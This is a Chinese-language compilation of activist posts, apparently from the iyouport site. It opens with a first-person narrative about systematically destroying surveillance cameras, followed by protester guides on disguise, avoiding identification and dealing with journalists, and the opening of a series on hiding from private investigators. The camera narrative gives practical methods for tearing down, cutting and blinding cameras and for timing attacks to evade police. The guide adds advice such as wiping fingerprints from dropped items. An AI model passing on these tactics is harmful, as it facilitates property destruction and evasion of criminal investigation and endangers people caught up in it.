除了简单地先找到容易下手的摄像头之外，还要想办法移除那些摄像头，这需要一个周密的计划。我已经决定，由于犯罪的性质，我应该避免自己出现在任何摄像头上。通过观看视频很容易确定犯罪的具体时间，而其他摄像头的主人很可能会配合警察帮助追踪那个特定时间前后有谁在这个区域。另外，如果在某个时候，这种行为模式被指定为政治性的—— 因为有人报警，或者是被精明的警察发现了—— 联邦的资金就会用来追捕我。这大大限制了我的活动范围和潜在目标清单。

我立刻想起了游击战的一条规则：每一次行动都应该让你有能力做一些以前做不到的事。正是考虑到这一点，我决定在我的镇子里建立“隐私走廊”：可以让一个人在不被摄像机拍摄的情况下通过的路径。

我走过了一个不同的世界。这个孤独的秘密让我觉得自己是个超级英雄，或者是个恶棍。

今天，当我看到摄像机盯着我时，我仍然会感到那种最初的焦虑。研究表明，当人类知道自己被监视时，他们的行为就会大不相同；他们会更努力地去符合社会规范，而不是脱颖而出。他们会变得焦虑和易怒，然而最终他们会在情绪上适应被监视，接受监视和焦虑为“正常”。我也一直都是这样的行为：眼睛向前看，不停地走，不自觉地权衡自己的一举一动会被如何解释。但现在不同了：最初的焦虑过后，我记得自己是在卧底，在策划，在回望。

在一个日益复杂的社会里，随着我们被要求越来越多的顺从，自我的空间变得越来越小。我指的并不是衣着风格、音乐品味、娱乐性用药等表面的表达形式，甚至不是宗教信仰和性偏好 —— 这些都可以被认为是能容忍的，只要它们的实践方式不破坏生产、消费或社会控制。我的意思是，我们的行动自由，我们通过对世界采取行动来表达自己的自由，我们的自主性—— 这些都被大大地限制了。我们的头脑只能去适应这些有限的选择：就业、慈善、饥饿；或者买房、租房、无家可归；或者被观察、躲避、遵守和被忽视。

但有时我们会想起曾经还有另一组选择：自卫、进攻、毁灭。而我正

是在这些选择中找到了尊严。当我现在对着摄像头行动时，我的笑容是真诚的，而不是被迫的。我知道我还会回来摧毁它们。

（Maribor，对行车监视摄像机的攻击浪潮在2012年引起了斯洛文尼亚的全国起义）

摄像头 7和8

「图」

我喜欢独自行动。这让人感觉安全，但也让人感觉很强大，专心致志想办法做事，执行那些需要认真判断的计划，并产生实际后果，而不需要别人来操作，只是相信自己。

所以我很难告诉你为什么我决定带另一个人上场。也许我认为我需要一个看家本领来完成一些我希望完成的更大胆的行动；也许我只是需要摆脱自己对整件事的束缚，获得一点看法。不管怎样，我决定拉巴特一起来做。我信任他，而且他也说过一些想采取类似行动的想法。我本来对他的想法装作不感兴趣的样子，当提到摄像头的话题时我总是这样做的。

他对我的邀请很兴奋。为了练习，我带他去了一个废弃的带状商场，那里的监视摄像机还完好无损，运作情况也很可疑。我想让他在紧张的环境之外学习动作，这样他就能在实际任务中专注于我们周围的环境，避免像我前几次外出那样的尴尬局面。

我们蒙面躲在树丛中，然后从第一个摄像头后面迅速接近。巴特踩在我的手上，我往上推。他把手放在墙上以稳定自己的身体。“现在用剪子把电线剪断，然后就拉着摄像机，看它会不会断。”

“不会断。”

“好吧，也许接头处有一颗手拧螺丝，看能不能拆下来？”

沉默 ……“搞定了！”他跳了下来。我们又拆掉了一个，然后回家了。

「图」

摄影头9

「图」

几天后，我带着巴特出去执行一个简单的任务，我一直在计划，但不得不一直推迟，因为酒吧的营业时间比我想象中要晚。一旦我终于找到了一个他们关门的晚上，任务就轻而易举了。

我们走近大楼时，一直用头巾蒙着脸，帽子放得很低，然后爬上靠后面的铁丝网，上了屋顶。我们在摄像机后面转了一圈，把摄像头蒙住，再剪断电线，把它塞进我的外套口袋里，爬下来，在摘掉手套和头巾之前离开了这个区域。

我们穿过一条后街的路线，向我家走去。“想不想再试一次？一个实验？”我问道。

“好啊，听起来不错。”这次我想要的摄像头在一个停车场的入口处，面朝水平方向，可以看到汽车进来的地方，也可以看到人行道。它被一个透明穹顶遮住，以隐藏它指向的方向。

我从上衣口袋里拿出一把锤子。“计划是这样的：我们绕一圈，从后面接近它，你留心观察，因为转动很稳定，我用锤子把罩子打碎，然后试着把摄像头扯出来，如果不行，我就用锤子砸它几下。然后我们就小跑着回到街对面的小区里。有什么异议或修改意见吗？”

“我加入。”

沟通我想做的事，并把它拿出来辩论，这感觉很奇怪。我觉得这是我的项目—— 而且事关重大，我准备好接受别人的意见了吗？我想，如果他说不，或者我们不能在一个计划上达成一致，我可以改天晚上再回来单独做。

我们按照计划的每一步进行，但当我挥动锤子时，摄像头转动了一下，我又挥了一下，它又偏离了。我绕过来想直接击中，它向我弹了回来。我们停了下来，耸了耸肩，尽力擦掉了那些宣布我们失败的痕迹，然后小跑着离开了。在一栋建筑后面摘下了面具。

新工具

「图」

我们讨论了如何处理穹顶的各种可能性。排除了放火的可能性，因为在美国对纵火行为的处罚非常重。我们还排除了仅仅在玻璃穹顶上涂

油漆的可能性，因为那只是暂时的，我们希望摄像头被完全摧毁。与一些在这个问题上流传的主张如涂漆、剪断电线，甚至只是在镜头上粘上黑胶布的想法相反，我相信最好的办法就是彻底破坏它。

如果我们只是临时遮盖摄像头，它很快就会被修复，我们可能要反复返回重新做这件事。这就变成了模式行为：它给了敌人适应的机会，这就是你被抓的原因。

有一天晚上我们出去的时候，巴特向我汇报了他的最新调查情况。“我对穹顶做了一些研究，他们宣传说可以防破坏。有一个宣传视频，他们用汽车碾压它，并试图点燃它，都失败了。螺丝都需要专有的钻头来拆卸。但有一种工具可以用来处理穹顶的材料。它又长又细又锋利，在网上可以买到，所以我们可以用Visa礼品卡匿名购买 …… 但我还是不知道该把送货地点写成哪里。”

我们决定暂时搁置这个话题。与此同时，我一直在开发我自己的特殊工具，并很兴奋地在现场测试它。我在 Conglomo-Mart 的野营区偶然发现了一个叫 “突击队锯” 的小装置。它是几根粗铁丝缠绕在一起的，两端有布条指环。我把它塞进裤子里，把50英尺长的伞绳放进口袋，然后走了出去。

【注，关于伞绳的其他用法，见《如何摆脱手铐、绳索、束线带和布基胶带：在灾难中幸存的方法（4）》】

回到家后，我从伞绳上剪下两段十二英尺长的线，把它们绑在 “突击队锯” 两端的环上，在一端加了一个沉重的钢链。我想象着自己把链子扔在摄像头上，调整好，让钢锯直接顶在上面，然后来回拉动绳子，锯开硬塑料支架。

我向巴特解释了这个工具，他很兴奋。“太完美了！我一直在观察你上周跟我提到的一个地方，商场关门后不久，那里的人流就会消失。摄像机是够不着的，但有这个新工具就很好办了。”

（这是希腊）

摄像头 10、11、12和13

「图」

我们在商场关门后才接近商场，但时间选得足够早，因为这样可以让隔壁酒吧的音乐声淹没我们可能发出的任何声音。我们站在第一个摄

像头的两边。我拿出一根绳子，把钢链扔到摄像机上。我的角度不对，它从墙上弹了回来，幸运的是巴特接住了它，没有撞到金属栏，否则会发出更大的声音。

我们重复了几次，直到我终于把钢链套在了摄像机上。我又放开一段绳索，直到锯子恰好挂在支架上面，然后我改变了计划。“让我们看看如果只是拉动它，会发生什么。”

“好，1、2、3！”我们俩用力一拉，锯子就断成了两半，摄像头又恢复了原状。

我的新玩具用错了，把它弄坏了，又没有备用方案。我想了一下。“看看剩下的绳子够不够长，既然伞绳比较结实，那就直接扔过去把摄像头拽下来吧”。我之前以为支架不可能松软到可以用伞绳拉下来，所以我才会开发出精心设计的锯子装置。

但我错了。我们一拉，摄像头很容易就被拽下来了。巴特抓起摄像头，把它从还连接在建筑物上的电线中扯了出来。

“想做其他的还是收工？”我问道。

“继续吧！”现在，我已经掌握了使用绳索的窍门，我轻松地把它扔到了第二台摄像机上，它和第一台摄像机一样很容易被拉下来了。一般情况下，我这时就会回家了。出门，行动，回家，这是我的基本模式，虽然保守但安全。不过这时我才体会到与他人合作的真正价值：很有趣，而且你们会互相推动彼此的积极性。虽然有些任务看起来像是一个人的工作，但两个人的勇气和胆量可能会使事情更容易快速进行。我们没有回家，而是又去搞了两个屋顶上摄像头，我们很兴奋。

（2004 希腊）

（2007 希腊）

后来我们从小道消息中听说，那个商场的员工一直在闲聊，猜测摄像头发生了什么。我突然想到，每一个被我们毁掉摄像头的企业，可能都有一个老板很生气，甚至可能觉得受到了威胁，但也有员工肯定发现摄像头不见了，要么不在乎，要么觉得好笑。毫无疑问，当老板报警时，他们会回答：“是啊，我们最近有一连串这样的事。”于是，谣言就这样传开了……

虽然不理智，但有时我还是为那些被我们毁掉摄像头的人感到难过。有些人是小企业主，他们可能想象着，不管是谁弄坏了他们的摄像

头，以后可能会回来抢他们的东西或者做其他的事。重要的是要记住，个别的人不需要出于恶意来帮助建立一个极权主义系统；事实上，这种系统几乎从来不是这样建立的。如果每个摄像头都是一个更大的监控系统的一部分，这个系统有效地监控着所有人，那么每个摄像头是谁放的这又有什么关系吗？如果录像被警察国家传唤，这些人中会有人反抗吗？甚至需要传票，他们就会像“好公民”一样把录像交出来吧？这有什么关系呢，因为大多数的CCTV都是连接到互联网上的，我们知道国家安全局和其他所有的政府机构都可以访问互联网上的几乎所有东西—— 所以，就意图和目的而言，这些都是国安局的摄像机，每个摄像头的主人只是在监控封建体系中打理自己的小地盘而已。

（2012年，在斯洛文尼亚马里博尔，活动家用汽车拉下交通监控摄像头）

摄像头14、15、16、17、18

「图」

这时候我对与第二个人合作的任何顾虑都消失了。巴特已经开始熟练行动，做研究、侦察，并且让我有点紧张 —— 在我们做完其他四台摄像头的同一周，他自己就完成了五台摄像头的工作。

“我从来没有说过你不应该自己做这件事，但可以考虑放慢一点速度，我们要足够低调，以保证能够继续做这件事。如果我们想有所斩获的话，就肯定要去努力，但在行动过程中留下不规则的静默时间，会大大增加我们不被抓住的机会。我不想耽误任何人砸烂世界上所有的摄像头，但要把握好自己的节奏，这样我们才能长久地投入其中。”

我也跟他说了我的个人政策，在我要攻击摄像头的日子里，我不会到处乱跑，所以在整个区域里不会有我的记录。“我知道对于每一个单独的轻罪破坏行为来说，这似乎有点过于谨慎了，但如果在某个时候，警察发现了我们的行动模式，并给它贴上了某种行动主义的标签，他们就会开始追踪我们。低调以保持安全不会让我们后悔的。”香港

摄像头 19、20、21、22

「图」

我决心继续研究所谓的防破坏摄像头，于是我去 Lowe’s 找了一把锤子和我能找到的最大的凿子。

我们蹲在街对面一家关门的企业后面，蒙上面罩，仔细检查了工具，戴上手套。这装束是冬天看起来很普通的事，在炎热潮湿的夏夜里却显得异常荒唐。我们在稀稀疏疏的车流中等待着，那些零散的人还在从关门的酒吧回家的路上。那个时候出门的只有醉汉、出租车、警察和罪犯。

我们冲到街对面的目标处。我把凿子的尖端对准穹顶，用锤子反复敲打。我一遍又一遍地挥动着，至少有十几次。它贴着的电箱每打一下都会发出巨大的低沉的轰鸣声；穹顶表面出现了一簇深深的凹印，但凿子却无法穿过它达到摄像头本身。

“有汽车！”巴特阶段性地低声说了一句，我们小跑着进入安全距离的地段。

“没事，该实施B计划了。”我说，从包里掏出一罐黑色的喷漆，向摄像机方向慢跑回去。

“一切正常。”巴特说，他负责放哨，上下打量着街道。我在穹顶上喷了一层厚厚的油漆，也在穹顶周围也喷了漆，让油漆滴落下来，任何一个路人都能从远处看出这个摄像头已经失明了。我们又去把城对面的另一个摄像头喷了一遍。

“我们会一直关注这些被喷漆的摄像头，看看清洗它们需要多长时间，了解清洗过程中是否会刮花穹顶。这可能会成为我们只是在时间敏感的问题上采取的行动方案，比如游行什么的，但这不可能是一个永久的解决办法。”

我们很兴奋，于是走近一家餐厅，餐厅里有两个摄像头对着人行道，那是他们所谓的财产边界。我们开始比较自然地协调行动。我们几乎没有商量就走近了，我看了看街道两边——“安全！”我们俩跳起来，抓起一个摄像头，然后扭动。然后从来时的路跑了出去，跑进了一个居民区，确定安全后再摘下面具，脱掉了外衣，走进夜色中。

（示威者在2012年摧毁斯洛文尼亚马里博尔的监控摄像机，同时高呼“Gotovo je！”——“结束了！”）

侦查

「图」

当 Lisa 指出商场外的两台摄像机时，我一直在想它们。每次经过它们时，我看的不仅仅是想知道如何把它们拆下来，而是想看看我们身体可以如何在这个空间里移动。什么时间段此地是活跃的？什么时间段不活跃？

一天晚上，我有一些多余的时间，决定可以在商场外面坐一会。我大部分时间都坐在离得很远的长椅上，但我预计在某些时候必须靠近摄像头，查看从长椅上看不到的巷子，所以我里面穿了不显眼的衣服，外面是一件明黄色的外套。明黄色夹克是我从学习识别心理学中悟出的一个窍门—— 人们只会记住你最明显的特征，比如你的亮色衬衫或俗气的鞋子，然后再在记忆中编造其他的部分。后来，我把这一招延伸开，在侦查的时候，我的走路方式和平常不一样。

我坐在商场外观察。三十分钟内，连摄像头附近都没有人走动。我换了个位置，到巷子里观察。没有人。很奇怪。我在长椅上多坐了一会儿就回家了。为了防止我侦察的那个晚上是个例外，我第二天晚上又回来了。那天是周五，摄像头就在一家酒吧旁边，所以如果这个时候没有人经过，我可以确定这不是一个偶然事件。我在酒吧关门前一小时到达。同样，没有一个人经过。我观察了大约二十分钟，足够长的时间来确定这个地方会是一个简单的行动地点。太容易了，也很好玩。

（华盛顿特区）

这篇文章的最后写着：“所有行动和文本敬献给 *Jeremy Hammond*”。***Jeremy Hammond*** 是匿名者组织成员，天才计算机程序员、活动家、和吹哨人。他因泄露私人情报公司 ***Strategic Forecasting*，*Inc.***（***Stratfor***）的秘密而被判入狱十年。这是他的认罪协议所允许的最高刑期。〇

Blinding the Cyclops—Wrecking the Panopticon

原文

在街上保持安全：示威参与者指南（12） - iyouport

示威参与者指南

一份很简短的指南，关于，如果您在街头，至少应该知道的一些事

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《认识警棍，危害能力和防御方法：示威参与者指南（1）》
- 《脑袋是人最大的弱点—了解头盔和使用技巧：示威参与者指南（2）》
- 《抵制催泪瓦斯和橡皮子弹：示威参与者指南（3）》
- 《如何处理枪伤：示威参与者指南（4）》
- 《从雨伞到激光、气球到电动工具：示威参与者指南（5）；战术器具汇总》
- 《警用武器常见伤害及基本处理方法：示威参与者指南（6）》
- 《充分利用大规模逮捕：示威参与者指南（7）》
- 《了解防弹衣：示威参与者指南（8）》
- 《您需要真正的自己人—如何组成一个亲密团队：示威参与者指南（9）》
- 《了解防暴弹药，以及如何保护自己 ：示威参与者指南（10）》
- 《让监视摄像头失明：示威参与者指南（11）》

上图是美国反抗者给队友的建议。下面是一份非常简短的指南，更详细地解释上述这些图片。如果您要上街，不论是大规模的群体运动还是小团体的行动，这里是您需要了解的基本知识。

1、穿着

「图」

穿多层的衣服，即使是在炎热的天气里：外面的一件衣服进入行动区域，让您看起来就像个普通人，完全融入人群；里面的另一件衣服用于行动本身。

脱衣服会比换衣服或穿衣服更快，更有隐蔽性，于是，如果您能穿第3层衣服的话，可以帮助您在退出时再次以与进入该区域不同的样貌融入人群中（这是假设镇压者搜索了所有进入该地区的人的监视录像，这种可能性也许很高）。

您的身体上有可见的穿孔吗？耳朵、鼻子、下巴等部位，将饰品全部取出来；掩盖所有可见的纹身。您的身上有疤痕吗？明显的痣呢？胎记？必需掩盖起来，要掩盖得很自然，掩盖物绝对不能让您脱颖而出！

有些抗议者穿着相同的衣服 —— 黑色连帽运动衫、黑色长裤和口罩 —— 为了让人无法分辨。如果您的亲密团队也准备这样做，请确保您的衣服没有任何可识别性特征。请记住，您的鞋子或背包也可以识别您的身份。

如果您戴着口罩，戴上口罩的时候需要躲避一切摄像机或警察 —— 事先侦查很重要，并且在行动中要一直戴着它。把头发完全遮住，您的头发颜色和发型特征都可以用来识别您。

面罩很重要，不仅是避免被身份识别的问题，最重要的是它可以保命，在这里看到选择面罩和防护功能的具体介绍。但如果没有任何面罩，防护功能就无法达成了，而您依旧可以实现免追踪功能。只需要一件T恤衫就可以—— 将T恤套在头上，将领子部位盖过眼睛，将袖子紧紧地绑在脑后，衬衫的其他部分遮住头部和肩膀。根据透光程度，考虑是否在眼睛部位剪两个孔。

请注意，警察很可能会将目标锁定在孤立的蒙面人身上，所以，在到达安全的地方之前，您和队友一定要一起换衣服，然后散开。

护目镜可以保护您的眼睛不受化学武器的伤害；太阳镜可以使您的身份可辨识度降低，在这里看到具体的挑选方式。小心隐形眼镜会将化学武器困在眼睛上！尽可能不要佩戴隐形眼镜。如果您很有可能被催泪弹或胡椒喷雾击中，浸泡在苹果醋中的头巾可能会帮助您更好地呼吸。戴布手套（就是那种礼仪手套），因为乳胶上会粘上指纹，皮手套上也会留下您自己的指纹。

2、有备而来

「图」

您可以带上水、急救用品、横幅、旗帜、鼓、哨子、扩音器、音响系统、可作为盾牌的标志、贴纸、喷漆、信号弹、火把、装满油漆的圣诞树饰品、鞭炮、锤子或警察扫描仪等等。在这里看到关于您应该带什么和最好不要带什么《整体安全（9）- 进入战斗状态》。

提前用酒精湿巾擦拭任何您可能在街上丢掉的东西，把指纹弄掉。考虑用一个临时手机代替您常用的手机（关于这个临时手机需要是什么样的，在这里看到）。请记住，您的通话记录和短信可以在任何与您的名字相连的手机上追踪到您；如果警察抓到你，肯定会检查这些 —— 至少检查这些。关于如果被警察抓住，您的手机会如何出卖您，见这里《政府可以从你的手机中提取哪些数据？》。

确保您知道一个可靠的电话号码，如果您被逮捕或与朋友走散并需要帮助，您可以拨打这个号码。如果无法确定可以牢记，就用不容易褪色的记号笔写在身上隐蔽的部位。

使用亲密团队系统与您信任的朋友们保持联系。提前谈好你们要做什么以及如何沟通 —— 关于如何构建亲密团队，见本系列第9集。提前确定目标、材料、危险区域和逃生路线。提前计划好如何以及在哪里可以分散。

3、在街上

「图」

尽可能确保和队友呆在一起。不要让人群太过分散，前后左右之间要携带信息—— 确保在中间隐蔽位置的相对弱势的队友能及时获得周边局势准确的信息。不是咬耳朵游戏哦，是要准确的局势观测。这意味着您的团队有事先确立的角色分配，关于如何分配角色，见这里《直接行动分步指南》。

骑自行车的朋友可以让您了解更大范围内附近的最新情况。当然，这是侦察员角色。

一旦在侦察员没有通报的情况下警察就出现了，要向侦察员队友说明，他们没有尽责。不用担心，您的强硬态度和保护彼此的意愿是您的通行证。而队友不应该生气，这也是安全文化的一部分。

如果您是侦察员，要知道，警察会虚张声势，会撒谎，但您也许可以

通过他们看起来的物质准备来预测他们的下一步行为。

不要让警察进入人群。沿着密集人群的两侧举起横幅，如果有必要的话，可以手拉手。如果警察想抓人，就挡住他们的去路。

保持移动，这样警察就没有机会把你们抓起来。如果您看到警察封锁了前面的一条街道，在他们包围和困住你们之前要快速移动。让警察去猜测，为自己赢得时间。记得，警察是官僚主义的，他们的行动肯定比反抗者队伍更慢一点。

4、之后

「图」

如果警察要和您说话，不要理睬他们，除非他们明确指出您正在被拘留或逮捕。如果他们抓住您，不要反抗，除非您确信您能逃脱；反抗会使您受到更严重的指控。被捕也不是结束，见本系列第7集，《充分利用大规模逮捕》。

如果您被逮捕，请行使您保持沉默的权利。无论警察说什么，除了您的姓名和地址外，不要回答其他问题。永远不要告诉警察关于其他人的任何事，即使是看起来微不足道的小事，都不要说。

不要在 Facebook、Twitter 或任何其他网站上发布任何您不会直接向警方展示的内容。不要吹嘘任何有潜在罪责的事，也不要描述他人的行为。只与您信任的人在安全的环境中谈论发生的事。

企业媒体会重复警察的谎言。政客们会试图诋毁行动者，或者让您在无休止的上访中浪费时间。不要让他们恐吓您或阻挠您的想象力。

行动者的力量来自于我们自己的勇气、梦想，以及与他人建立的联系。〇

—— 未完待续 ——

原文

和媒体说话时如何避免陷阱：示威参与者指南（13） - iyouport

示威参与者指南

您的反抗行动越是对变革有效，您被抹黑歪曲的程度就会越大

欢迎回来！

如果您错过了前面的内容，可以在这里回顾：

- 《认识警棍，危害能力和防御方法：示威参与者指南（1）》
- 《脑袋是人最大的弱点—了解头盔和使用技巧：示威参与者指南（2）》
- 《抵制催泪瓦斯和橡皮子弹：示威参与者指南（3）》
- 《如何处理枪伤：示威参与者指南（4）》
- 《从雨伞到激光、气球到电动工具：示威参与者指南（5）；战术器具汇总》
- 《警用武器常见伤害及基本处理方法：示威参与者指南（6）》
- 《充分利用大规模逮捕：示威参与者指南（7）》
- 《了解防弹衣：示威参与者指南（8）》
- 《您需要真正的自己人—如何组成一个亲密团队：示威参与者指南（9）》
- 《了解防暴弹药，以及如何保护自己 ：示威参与者指南（10）》
- 《让监视摄像头失明：示威参与者指南（11）》
- 《在街上保持安全：示威参与者指南（12）》

反抗者长期以来一直对媒体本身的功能持批评态度。然而，要避免新闻报道并不总是可能的；在信息时代，要么有强大的自传，要么被杜撰。

当您为追求社会变革而采取有效行动时，媒体机构将寻求在公众面前代表您—— 除非您能扰乱他们的叙述，否则全世界的大多数围观者

都将通过那些媒体的眼睛来看待您的行动。

这也是为什么全世界很多抗议活动都遭到了严重的误解，见《守门人作为认知杀手》。

您的反抗行动越是对变革有效，您被抹黑歪曲的程度就会越大，这是绝对成正比的，现在您明白为什么直接行动被抹黑为 “恐怖分子”了？正因为直接行动不再依赖统治阶级的恩赐，架空了他们的权力。

不论是中国的官方媒体还是美国的企业媒体，都不是一个中立的空间，不是那种您可以像与同事和邻居直接对话那样提出想法。媒体是一个战略要地，当局在上面为自己定位，操纵叙事，使武力的使用合法化。

走到企业媒体的镜头前就是进入了一个决心操纵反抗者的形象来对付反抗者的阶级所控制的敌对领土上。如果您让媒体把您描述成暴力的、异类的、或极端的 —— 无论您为您的反抗战略或变革思想提出多么有力的论据—— 最终的结果都将是当局更有信心加强对您的攻击。

⚒ 当与媒体打交道时，反抗者首先**不能想象**那些媒体会如实地阐述反抗者的思想；您必须通过自己的渠道来完成这一任务，这就是为什么反抗运动应该有自己的网站和发言人。

充其量，您可以利用媒体的出现来引导人们进入您的信息输送渠道，就像那个坚持只在显示自己的网址的横幅前接受采访的组织那样。

⚒ 请记得，您正在进行一场微妙的立场之战，在这场战争中，您的目标是防止当局驱散您的反抗运动的可能支持者队伍，并破坏当局使镇压暴力合法化的叙述。您必须始终平衡在合法性和能见度方面可能获得的收益与使自己成为更引人注目的目标之间的风险。

不应该忘记SHAC运动的例子，它试图关闭一家动物试验公司。起初，该运动取得了很大的进展，随着媒体对其组织效果的宣传，势头越来越猛 —— 然而，最终，执法部门能够利用这种威胁性的形象，策划了一场镇压，将许多人送进监狱多年。

本文提供以下建议，希望能帮助您在与媒体的互动中保持安全。

在与媒体交谈之前

「图」

1、考虑是否有另一个人或团体更适合就某个问题发表公开声明。在接受采访之前，请咨询可能会受到您所说的话影响的任何其他人，以获得他们的反馈，修正您的表达方式。

2、考虑记者、编辑和他们的听众将如何看待您的行动。您是传达这一信息的最佳人选吗？

如果您错过了《战略4、不手淫，要做爱：受众才是见证人》

3、考虑到目前面临刑事指控的活动家或将来可能面临刑事指控的其他人的风险。请记得，即使是最无害的声明也会被大局恶意操纵，以抹黑和诋毁活动家，特别是那些已经面临刑事指控的活动家。您在新闻采访中所说的每一个字都可以被利用于：

- 在刑事诉讼中
- 起诉被采访者或其他与公开声明有关的人
- 传唤被采访者为检方作证，以对抗他或她的队友和其他活动家。

4、事先确立明确的目标 —— 在这个媒体上出现，您要达到哪些具体的收益？您将如何实现这些收益？例如，如果您试图吸引更多的人加入即将举行的示威活动，在可能加入您的人阅读的报纸上获得报道可能是有意义的，但是，在主要由希望看到这类抗议活动被压制的反动分子喜欢阅读的报纸上出现可能就没有意义了。

5、编写您的谈话要点，并练习简明扼要地陈述 —— 记者往往会问一些诱导性的或敌对性的问题，以诱使您提供他们需要的材料来讲述一个预先被确定的故事。如果您与媒体打交道的经验有限，请先与那些有更多经验的人交谈一下。

如果您错过了《套话的战术：利用情感，但不要被情感所利用 》

7、明确您将与之交谈的媒体的议程 —— 他们希望达到什么目的？他们利用的基本语话条款是什么？您怎样才能扰乱他们所宣传的叙述？

8、事先考虑您对这个记者有什么影响力？您对这个报道出现的地点有什么影响力？如果您没有足够的公信力基础 —— 也就是说不够著名，那就要非常谨慎，因为您在公众眼中犹如一块白板，媒体可以随意对您涂抹。不要给他们这样的机会。

9、当您与记者交谈时，事先就他们如何识别您以及他们将发布哪些信息，达成协议。请记得：要强调您不代表某个政治派别，也不充当“运动的领导者”。如果您使用假名，要注意确保没有人能够查出您的合法身份；警察经常强迫记者透露媒体发言人的“真实身份”，以此来危害和诋毁活动家。

一位富有同情心的记者给活动家的建议

「图」

1、在任何时候都要直接。

拿着录音机的人认为您很可疑。他认为您已经成为您自己制造的智力陷阱的受害者：认为您无法欣赏细微差别或认同您的敌人。在他看来，他的工作就是介绍您的信息，*而不被* 吸纳为您的反抗队友。

他会问您很多很多问题（比如谁在资助这个组织？你们不都是大学毕业生吗？你们有没有考虑过上访？我可以看看你们的成员名单吗？……）；您应该在适当的时候完整地回答他们。如果您的组织是松散协调的，那么直言不讳地承认无中心要比把自己说成是一个稳定的联盟或单一的实体更重要，因为事实并非如此。

没有人喜欢被审问，但如果能记住觉得您没有保留什么，那对您来说就更好了。

2、如果您挑战记者，不要把记者逼到墙角。

记者不喜欢被提醒他们不知道什么。因此，如果您说一大堆专业术语或引用晦涩的文字，就会让记者感到自己很无知、暴露和愤怒。记者会把您描绘成冷漠的精英分子，在重要的事情上演戏。

如果记者在你们的谈话中得出了不恰当的结论，澄清您所说的内容比反驳他们要好得多。如果记者继续歪曲您的说法，在报道发表后给他们的办公室打电话，警告他们的编辑其员工中有一个捏造者。记住这个词——“捏造者”，也就是说，骗子。这三个音节会让编辑们惊出一身冷汗。

3、不要侮辱记者的智商。

这并不是说这个记者不聪明。很少有记者不表现出至少是基本的智力，因为他们的工作取决于调查。拍马屁会让您无功而返，因为记者

不喜欢被吹嘘。但礼貌和细心是值得赞赏的，因为这往往是一份累人的工作，而报酬却很低。如果您以尊重和开放的态度对待记者，他甚至可能重新考虑他的态度。

4、要非常具体。

记者要的是事实。您希望事情有所改变这就是事实。在您的采访中，详细解释您打算做什么，如何做，以及为什么。如果这涉及到当局所认为的非法活动，请非常清楚地描述您行动的动机。

5、不要指望所有这些原始信息都能被写进报道。但是，您给记者的信息越多，记者就越需要填满他们的专栏、字数或广播时间 —— 而所有这些都将来自于您的一方。也就是说，尽可能用您的语言占满他们的版面。

记住，您接受采访是在给记者访问权，您对抗的当权者则不会。这对您来说是一个优势。

6、保持接触 —— 与您打交道的记者可能会想问一些后续问题。如果您不在身边回答他们，他们就会对您的情况做出推断和假设。如果您向他的编辑抱怨，记者将能够可信地辩称，您没有接听电话或回复电子邮件，而记者有一个截止日期要完成 …… 记者将赢得这场争论。不要让他们得逞。

7、要有极低的期望。

记者的倾向是，只刊登您的故事中必要的内容，以便记者回到办公室可以投入到更有趣的任务中。这一点对年轻记者来说，甚至比年长的记者更真实：年轻记者在更好的工作或更好的局面出现之前，一直在计时，而您那一文不名的革命性的滑稽动作就是他们的时钟的刻度。遵循上述指示，您的信息就会通过这种媒介传播出去，只要有可能。当然，您可以选择使用您自己在网站或其他地方的账户来补充您在主流媒体上被削减的表述，但那始终是您的领域，不是记者的，大众会将此理解为 “主观”。

8、找出那个记者的编辑是谁。

这很狡猾，也很有效果。问那个记者在哪个部门工作？。记者会把这理解为您作为新闻联络人勤奋工作的标志，充其量是对记者重要性的礼貌性认可。实际上，这是一个为您所用的工具。如果您对记者的报道不满意，请联该记者的编辑，并逐条说明您的不满。

一些注意事项：不要咆哮，要准备好具体的事实性错误或马虎的问题。正是在这一领域，电话或电子邮件另一端的编辑将准备采取行动 —— 要么进行更正，要么指派另一名记者来报道您并对该记者进行约束。如果您试图纠正解释，编辑只会认为您是个怪人，并为记者撑腰。〇

—— 未完待续 ——

Report from the Press Box

原文

如何做到完美隐身：直面你的对手 - 6大原则（1） - iyouport

完美隐身（完成）完美隐身（完成）的副本

【2019年12月3日存档】自由不只是有机会去做自己喜欢做的事；也不只是有机会在既定的方案中做出抉择。自由，最重要的是，有机会建构决策选项，争论其优劣 —— 以及，接下来的选择机会 ……

这里是一个新系列的开篇：关于私人侦探和隐身者的较量。任何需要保护个人身份安全的人都应该了解这些知识。

您将能从中发现，事实上在没有任何数字技术的情况下，也不难把一个试图隐藏的人挖出来。嗯，心理学是个利器。

- 如果你是某件大事的目击证人；
- 如果你单枪匹马得罪了某些狂徒（不论是黑社会还是政府，这两者在被触怒的时候没什么区别）；
- 如果你是家暴受害者；
- 如果中了彩票或者炒币发了大财；
- 如果你是一个普通人，单纯地不想活在1984里……

不论是以上任何一种或多种情况，本系列提供的内容都适合您 —— 即 帮您找到一个安全的藏身之地的方法。

简单说就是，帮你活下去。*hi* 哥们儿，不要通过互联网购买任何重要的书籍，这是常识……

此前我们发布过一个小游戏《隐身游戏：如何在监视遍地的社会里让自己完全消失》；这篇文章提供了一些基础知识，但是非常不全面，并且，更多倾向于技术型监视追踪。

关于技术型监视追踪的应对方式我们已经介绍过很多了，而本系列则倾向于在不需要数字技术的情况下实现的追踪。

如今所有媒体都在讲述高科技监视的威力，IYP 也是其中的活跃平台之一；但是我们必须说，⚠人力监视依旧是当权者的重要选项。这也是为什么我们发布了《在你的日常生活中应用隐蔽野战技术》。

⚠在技术高端到不可思议的世界里，人力监视依旧有很多优势：它灵活、直接、易于调度、稳定、杂音少……尤其是隐私保护措施已经越来越普及的情况下，人力监视尤其可以针对那些注意力完全锁定在技术领域的人。

所以我们建议：各种手段您都应该了解。它们之间没有主次之分。

在我们的国家，私家侦探和赏金猎人的行业很火爆，甚至有些时候警方都会与这些行业内的高手合作，以挖出一个藏匿很深的目标人。

这些行业的人是拿钱办事的，所以您不用指望他们遵守什么道德。这点上我们对中国的情况了解很少；但是，想想看，在个人隐私信息具有昂贵价值的时代里，又有什么理由不做生意呢？

私家侦探行业很疯狂，很多时候比警察更厉害；他们是靠疯狂赚钱的，⚠他们并没有警察掌握的那些大型数据库，但他们具备高超的以骗制骗能力，有些时候比数据库都好用。

是的，社交工程。

当然，有数据库就更好了；再有点黑客技术就是好上加好。但即便毫无技术，也一样可以做到 —— 把藏匿的人挖出来。

其中的关键在于：藏匿的人还不够聪明。

如果你很容易被抓到，说明你还不够聪明

